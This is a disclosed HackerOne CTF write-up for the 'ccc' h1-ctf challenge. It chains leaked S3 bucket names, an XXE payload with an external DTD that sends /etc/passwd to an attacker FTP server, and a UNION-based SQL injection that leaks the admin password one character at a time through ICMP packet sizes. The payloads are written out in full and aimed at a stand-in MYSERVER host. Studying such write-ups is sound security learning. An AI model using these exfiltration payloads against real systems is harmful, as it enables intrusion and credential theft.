HexBrain

h1-ctf · Report #1216085

ccc ctf

Validstatus
criticalseverity
$100bounty
13upvotes
23 Jun 2021disclosed

Summary

We are given this website

https://ccc.h1ctf.com/

We can register a user which is assigned a user hash. In our case we got 8y399q as user hash. Once logged in the page /u/8y399q just says:

: Remote File list not found

The website points to a twitter account https://twitter.com/DesignsCcc. There we find a picture with a browser opened on the website we are attacking. One tab of the browser seems to point to: /error_-_-_log.txt

We are able to confirm that this file exists and it contains

File: https://h1-wfzfi4.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-cn9uhd.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-y0c9ov.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-56qw4c.s3.eu-west-2.amazonaws.com/files.xml Not Found
File: https://h1-6hin8w.s3.eu-west-2.amazonaws.com/files.xml Not Found

One of the buckets is intersting becaus it contains an hint towards XXE:

https://h1-cn9uhd.s3.eu-west-2.amazonaws.com/files.xml

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://patopirata.com/x"> %ext;
]>
<r></r>

After a long struggle on many dead ends, and a couple of rickrollings we started wondering how can we make the site read a remote list of files.

At this point the key observation is that the log file above seems to suggest that the site will query a files.xml on AWS S3 with a predictable name:

h1-MYHASH.s3.eu-west-2.amazonaws.com/files.xml

So we went to AWS console and put an evil xml file in a public s3 bucket

    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://MYSERVER:8080/ev.xml">
    %sp;
    %param1;
    ]>
   <r>&exfil;</r>

We were able to confirm the XXE vulnerability and after a lot of trial and error, working with the external DTD (in order not to change the xml on S3) we came up with this payload in the external dtd ev.xml:

<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param "<!ENTITY &#37; exfil SYSTEM 'ftp://MYSERVER:2121/%data;'>">
%param;
%exfil;

For exfiltration we are using the excellent tool https://github.com/staaldraad/xxeserv

Having php (knowing the author of this challenge we suspected that), is very useful: we can work with filters to compress and encode data in order to easily exfiltrate even "big" files.

In particular we started looking at /etc/nginx/nginx.conf (mentioned by the twitter account of the developers) which contains usual include directives:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

...
	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

The default virtual host config /etc/nginx/sites-enabled/default is all commented out, so it's not the running configuration, but it contains an important clue:

#server {
#    server_name ccc.h1ctf.com;
#    root /var/www/app/public;
#    index index.php;
#    location / {
#            try_files $uri $uri/ /index.php?$query_string;
#    }
#     location /2b5d2b11513d2c9b {
#       proxy_pass http://127.0.0.1:8888;
#     }
#

Moving on to ccc.h1ctf.com/2b5d2b11513d2c9b we do some recon in there and find a .git/HEAD file. We cannot find much else in the .git directory apart from the configuration .git/config

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/ccc-labs/pinger.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

We now have the source code of the pinger service where we understand that we have to look at

https://ccc.h1ctf.com/2b5d2b11513d2c9b/api/ping?id=XXX

Key point is in the Ping model source code:

https://github.com/ccc-labs/pinger/blob/main/_pingercode_/models/Ping.php#L10

class Ping
{

    public static function send( $id ){
        $sql = 'select * from host where id = '.$id.' LIMIT 1 ';
        $d = Db::connect()->prepare($sql);
        $d->execute();
        //Confirm we've found a matching row in the database
        if( $d->rowCount() == 1 ){
            $host = $d->fetch();
            $ip = $host["ip"];
            $packet_size = intval($host["packet_size"]);
            //make sure PING packet size between 1 and 65527
            if( $packet_size > 0 && $packet_size < 65528 ) {
                //check IP is a valid IPv4 Address
                if (filter_var($ip, FILTER_VALIDATE_IP,FILTER_FLAG_IPV4)) {
                    //SEND 4 PING PACKETS IN THE BACKGROUND
                    shell_exec('ping -s '.$packet_size.' -c 4 '.$ip.'  > /dev/null &');
                }
            }
        }
    }

}

The service is clarly vulnerable to SQL injection, but given the validation applied to $packet_size and $ip we are not able to do nothing but actually ping something.

But we have some room in $packet_size to put ascii codes of relevant characters. So in the end a request like the one below will exifltrate Nth character of the admin password:

GET /2b5d2b11513d2c9b/api/ping?
id=-1+union+all+select+1,'MYSERVER',ascii(substr(password,N,1))+from+user+where+username='admin'%23 HTTP/1.1

In particular it will generate ICMP packets towards my server

10:17:39.290067 eth0  In  IP 18.216.97.43 > x.y.z.w: ICMP echo request, id 223, seq 1, length 93

Here length 93 minus 8 for overhead will give ASCII 85 which is U, first character of the admin password. Repeating the exercise many times, sleeping one minute between request or, in my case, using a server with many different ip address will give the admin password Ud79^1HHJ$W*IObaKdQgI.

Logging in the admin dashboard of pinger we get the flag:

████
```

How it was found

██████████

will send detailed report later

Impact

can get admin credentials

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original